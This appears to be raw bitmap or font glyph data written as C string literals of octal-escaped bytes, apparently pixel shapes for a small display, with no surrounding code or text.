"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\360\370\370\370\370\360\360\300\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\17\37\37\37\37\17\17\3\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\374\374\374\374\374\200\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\377\377\377\377\377\377\377\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\7\17\7\7\3\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\360\377\377\377\377\377\377\301\200\200\0\0" "\0\0\0\0\0\0\300\360\370\374\376\376\377\177\77\37\17\17\7\367\377\377\377\377\377\177\37\37\77\177\377\377" "\376|\30\0\370\377\377\377\377\377\377\7\0\0\0\0\0\0\360\377\377\377\377\377\77\0\0\0\0\0\1\1" "\0\0\0\0\17\177\377\377\377\377\377\374\340\200\0\0\0\360\377\377\377\377\377\37\0\0\0\0\0\0\200\200" "\0\0\0\0\0\0\1\3\7\17\37\77\177\177\377\376\374\377\377\377\377\377\377\374\374\374\374\376\376\177\177\77" "\37\36\14\0\0\0\0\0\0\0\0\0\0\0\0\370\377\377\377\377\377\17\1\1\1\1\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\300\200\200\0\0\0" "\0\0\0\0\0\0\0\0\0\200\340\370\374\376\377\377\377\177\77\37\37\37\17\17\17\37\37\77\177\377\77\36" "\14\0\0\0\0\0\300\300\300\377\377\377\377\377\377\377\341\300\300\300\300\300\300\300\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\17\17\17\17\17\77\377\377\377\377\377\377\357\17\17\17\17\17\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\300\377\377\377\377\377\377\177\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\340\340\360\360\374\376\377\377\377\377\377\377\375\374\374\374\370\370\370\360\360\340\340\340\340\340\340" "\360\370\374\360\0\3\7\7\3\3\1\1\1\1\0\0\0\1\1\1\1\3\3\3\7\7\7\7\17\7\7\7" "\7\3\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\300\340\360\340\300\200\0\0\200\200\300\300\300\300\300\300\200\200\0\0\300\340\360\360\340" "\300\200\0\0\0\0\1\3\207\367\377\377\377\377\377\77\37\37\37\17\17\37\37\37\77\377\377\377\377\377\347\203" "\1\0\0\0\0\0\0\0\37\377\377\377\377\377\360\300\200\200\200\0\0\200\200\200\300\360\377\377\377\377\177\37" "\0\0\0\0\0\0\30<~\377\177\77\37\17\17\37\37\77\77\77\77\77\77\37\37\17\37\77\177\377\376|" "\70\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300" "\300\300\300\300\1\3\17\77\377\377\377\377\376\370\340\200\0\0\0\0\0\0\0\0\0\300\360\374\377\377\377\177" "\77\17\3\0\0\0\0\0\0\1\7\37\177\377\377\377\376\374\360\300\0\300\360\374\377\377\377\177\37\7\1\0" "\0\0\0\0\0\0\0\300\300\300\300\300\300\300\303\317\377\377\377\377\377\377\377\377\337\307\301\300\300\300\300\300" "\300\0\0\0\0\0\0\217\217\217\217\217\217\217\217\217\217\377\377\377\377\377\377\377\217\217\217\217\217\217\217\217" "\217\0\0\0\0\0\0\37\37\37\37\37\37\37\37\37\37\377\377\377\377\377\377\377\37\37\37\37\37\37\37\37" "\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\360\360\360\360\360\360\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\360\360\360\360\360\360\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\177\177\177\177\177\177\177\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\300\340\340\360\370\370\370\374\374\374\374\374\374\374\370\370\370\360\360\340\300\200\0" "\0\0\0\0\0\0\0\374\377\377\377\377\377\377\307\3\1\1\1\0\0\1\1\3\7\37\77\77\37\17\7\2" "\0\0\0\0\0\0\0\0\203\307\357\377\377\377\377\177\376\376\374\374\374\370\370\360\360\360\340\300\300\200\0\0" "\0\0\0\0\0\0~\377\377\377\377\377\377\361\300\200\200\0\0\1\1\1\3\7\17\377\377\377\377\377\377\374" "\0\0\0\0\0\0\0\1\3\7\7\17\37\37\37\77\77\77\177\177~\376\376\376\377\377\377\377\357\307\3\0" "\0\0\0\0\0\200\300\340\360\370\370\340\300\200\0\0\0\0\0\0\0\0\201\303\377\377\377\377\377\377\377\0" "\0\0\0\0\0\1\3\7\17\37\37\77\77\77\177\177~~~\177\177\177\77\77\77\37\37\17\7\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\340\360\370\370\370\370\370\360\340\0\0\0\0\0\340\360\370\370\370\370\360\360\340\0" "\0\0\0\0\0\0\0\0\3\7\17\17\17\17\7\7\3\0\0\0\0\0\3\7\17\17\17\17\17\7\3\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\300\300\340\340\340\360\360\360\360\360\360\360\360\360\340\340\340\300\300\200\0" "\0\0\0\0\300\360\370\374\376\177\77\237\317\347\347\363\363\371\371\371\371\371\371\371\363\363\347\347\317\37\77\177" "\376\374\370\360\377\377\377\17\1\370\376\377\377\377\377\17\7\3\1\1\1\1\1\3\7\37\37\37\37\17\14\0" "\1\17\377\377\377\377\377\360\300\3\37\77\377\377\377\376\370\360\360\340\340\340\340\360\360\370\374\374\370p\20\0" "\300\370\377\377\1\7\17\37\77\177\376\374\370\360\341\343\343\307\307\307\307\307\307\307\343\343\361\361\370\374\376\177" "\77\37\17\7\0\0\0\0\0\0\0\1\1\3\3\3\7\7\7\7\7\7\7\7\7\3\3\3\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\4\16\77\177\77\37\17\17\17\7\7\7\17\17\77\377\377\377\376\374\360\0\0" "\0\0\0\0\0\0\0\0\200\340\360\370\374\374\376~>>>>>>>>\377\377\377\377\377\377\0\0" "\0\0\0\0\0\0\0\0\17\77\177\177\377\377\374\370\370\360\360\370\370\370\374\376\377\377\377\377\377\377\0\0" "\0\0\0\0\0\0\370\370\370\370\370\370\370\370\371\371\371\371\371\371\371\370\370\370\371\371\371\371\371\371\370\370" "\370\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\340\340\300\200\0\0\0\0\0\0\200\300\340\340\340" "\300\200\0\0\0\0\200\300\340\360\370\374\376\377\177\77\77\37\17\207\303\341\360\370\374\376\377\177\177\77\37\17" "\7\3\1\0\0\0\3\7\17\37\77\177\377\376\374\370\360\340\300\203\7\17\37\77\177\377\376\374\370\360\340\300" "\200\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\37\77\77\37\17\6\0\0\0\0\1\3\7\17\77\77" "\37\17\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0~~~~~~~~~~~~~~~~~~~\376\376\376\376\376\376" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0~~~~~~~~~~~~~~~~~~~~~~~~~~" "~~\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\300\300\340\340\340\360\360\360\360\360\360\360\360\360\340\340\340\300\300\200\0" "\0\0\0\0\300\360\370\374\376\77\37\17\377\367\367\363\363\361\361\361\361\361\361\361\343\343\307\207\17\37\77\177" "\376\374\370\360\377\377\377\7\0\0\0\0\377\377\377\377\377\360\360\360\360\360\360\371\377\377\377\177>\0\0\0" "\1\17\377\377\377\377\377\370\340\200\0\0\377\377\377\377\377\1\1\1\3\17\77\177\377\377\370\340\200\0\0\200" "\340\370\377\377\1\7\17\37\77\177\377\376\377\373\373\363\363\360\340\340\340\340\360\360\361\373\373\375\377\376\377\177" "\77\37\17\7\0\0\0\0\0\0\0\1\1\3\3\3\7\7\7\7\7\7\7\7\7\3\3\3\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\0\0" "\0\0\0\0\0\0\0\0\0\0\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\300\300\340\340\360\360\360\360\360\360\360\340\340\300\200\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\370\376\377\377\377\377\17\7\3\3\3\3\3\7\17\377\377\377\377\376\370\0\0" "\0\0\0\0\0\0\0\0\0\1\7\37\37\77\177\177\376\376\374\374\374\376\376\177\177\77\37\37\7\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\374\374\374\374\374\374\0\0\0\0\0\0\0\0\0" "\0\0\0\0\340\340\340\340\340\340\340\340\340\340\340\340\340\377\377\377\377\377\377\340\340\340\340\340\340\340\340\340" "\340\340\340\0\7\7\7\7\7\7\7\7\7\7\7\7\7\377\377\377\377\377\377\7\7\7\7\7\7\7\7\7" "\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\340\340\340\340\340\340\340\340\340\340\340\340\340\341\341\341\341\341\341\340\340\340\340\340\340\340\340\340" "\340\340\340\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\340\340\340\340\340\340\340\300\300\300\200\0\0\0\0\0" "\0\0\0\0\0\0\0\0\30\34>\177\177\77\37\17\7\7\3\3\3\7\7\217\377\377\377\377\376\374\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\340\360\370\374\374~\177\77\37\17\7\3\0\0\0" "\0\0\0\0\0\0\0\0\0\360\370\374\376\377\377\377\377\367\367\363\361\360\360\360\360\360\360\360\360\370\370\0" "\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\300\340\340\340\340\340\340\340\340\300\300\200\200\0\0\0\0" "\0\0\0\0\0\0\0\0\0\4\17\37\77\77\37\17\207\207\203\203\203\207\307\317\377\377\377\377\377|\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\0\0\0\37\17\17\17\17\37\37\37\77\377\377\377\375\370\340\0" "\0\0\0\0\0\0\0\0\10\34>\177\177\377\374\374\370\370\360\360\360\370\370\374\376\377\177\177\77\37\7\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\1\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\370\376\377\376\376\374x\30\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\10\34\77\77\177\177\37\17\7\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\374\374\374\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\374\374\374\374\374\374\0\0\0" "\0\0\0\0\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0" "\0\0\0\0\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\370\360\360\340\340\340\340\340\360\360\374\377\377\177\377\377\377\377\360\340\340" "\360\370\376\374\377\377\377\377\1\1\3\7\7\7\7\17\17\7\7\7\3\3\1\0\0\1\3\7\7\7\17\7" "\7\7\3\1\177\177\177\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\300\340\340\360\360\360\360\370\370\370\370\370\370\370\370\370\370\370\370\370\370\370" "\370\370\370\0\0\340\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\1\1\1\1\1\377\377\377" "\377\377\377\0\0\17\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\377\377\377" "\377\377\377\0\0\0\0\0\1\3\3\7\17\17\17\37\37\37\377\377\377\377\377\377\0\0\0\0\0\377\377\377" "\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0\0\0\377\377\377" "\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0\0\0\377\377\377" "\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0\0\0\377\377\377" "\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\0\0\0\0\0\1\1\1" "\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0<\377\377\377\377\377\377\377\377<\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\1\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" 